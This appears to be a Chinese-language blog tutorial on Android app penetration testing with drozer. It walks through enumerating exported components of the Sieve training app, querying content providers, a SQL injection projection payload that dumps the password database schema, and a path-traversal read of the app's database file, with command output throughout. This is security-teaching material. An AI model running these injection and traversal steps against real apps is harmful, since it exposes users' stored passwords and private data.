# 前言

由于最近进行了很多 APP 渗透测试,也是学习到了很多,现将所学结合其他师傅的博客内容一起来写记录一下
参考连接:
https://blog.csdn.net/qq_42067124/article/details/129803628

# 利用工具:

1、夜神模拟器
2、drozer
3、HijackAPP
4、apk_tool
5、AndroidKiller_v1.3.1
6、adb

# 利用步骤

# 连接夜神模拟器

adb connect 127.0.0.1:62001

除了模拟器还能用手机安装drozer进行连接,模拟器抓包有时会被封号,而且很多功能并不能像手机一样使用,可能连APP都打不开,手机进行连接可打开开发者模式,然后可选择WiFi连接或USB连接,经过实验,WiFi很可能连不上,建议拿一根数据线进行USB连接。

# 端口转发

adb forward tcp:31415 tcp:31415

# 连接

drozer.bat console connect

# 列出包

run app.package.list

# 查看攻击面

run app.package.list -f packagename

举例

## 查看攻击面,可以通过 -h 参数查看帮助
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

packagename 是包名。可以看到有 3 个 activity、0 个广播接收者、2 个内容提供者和 2 个服务可以被导出,并且开启了 debug 模式。

# Activity

风险点:
未授权访问(信息泄漏)
拒绝服务(发送空 / 畸形数据)
activity 劫持

# 获取可导出 activity

## run app.activity.info -a <packagename>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

调用对应的 activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)

## run app.activity.start --component <packagename> <component>
## run app.activity.start --component <packagename> <component> --extra string value 12345
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

# 测试是否存在 Activity 劫持

在打开原 activity 的基础上,调用此组件,如果 uihijackv2.0_sign 界面位于被测软件上,则存在漏洞,否则不存在漏洞。

run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

# ContentProvider

风险点:

# 信息泄漏

# 注入漏洞

Content Provider 中的注入漏洞允许攻击者向 Content Provider 中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行 SQL 注入攻击,从而获取或修改 Content Provider 中的数据。如果 Content Provider 中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。

run scanner.provider.injection -a 包名

# 目录遍历漏洞

使用 ContentProvider.openFile () 可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问 Content Provider 中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改 Content Provider 中的文件,导致严重的安全问题。

# 获取提供者信息

## run scanner.provider.finduris -a <packagename>
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

获取到之后,利用 run app.provider.query 读取

run app.provider.query 路径

# 查询数据

## run app.provider.query <uri> [option args]
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin  |
| 1        | null |

# 查询是否存在注入

## run scanner.provider.injection -a <packagename>
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

# 利用注入

## 列出所有的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"
| type  | name| tbl_name| rootpage | sql|
| table | android_metadata | android_metadata | 3| CREATE TABLE android_metadata (locale TEXT)|
| table | Passwords| Passwords| 4| CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key| Key| 5| CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )

# 查询是否存在目录遍历

## run scanner.provider.traversal -a <packagename>
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider

Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

# 利用目录遍历读取文件

## run app.provider.read <uri>
dz> run app.provider.read dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db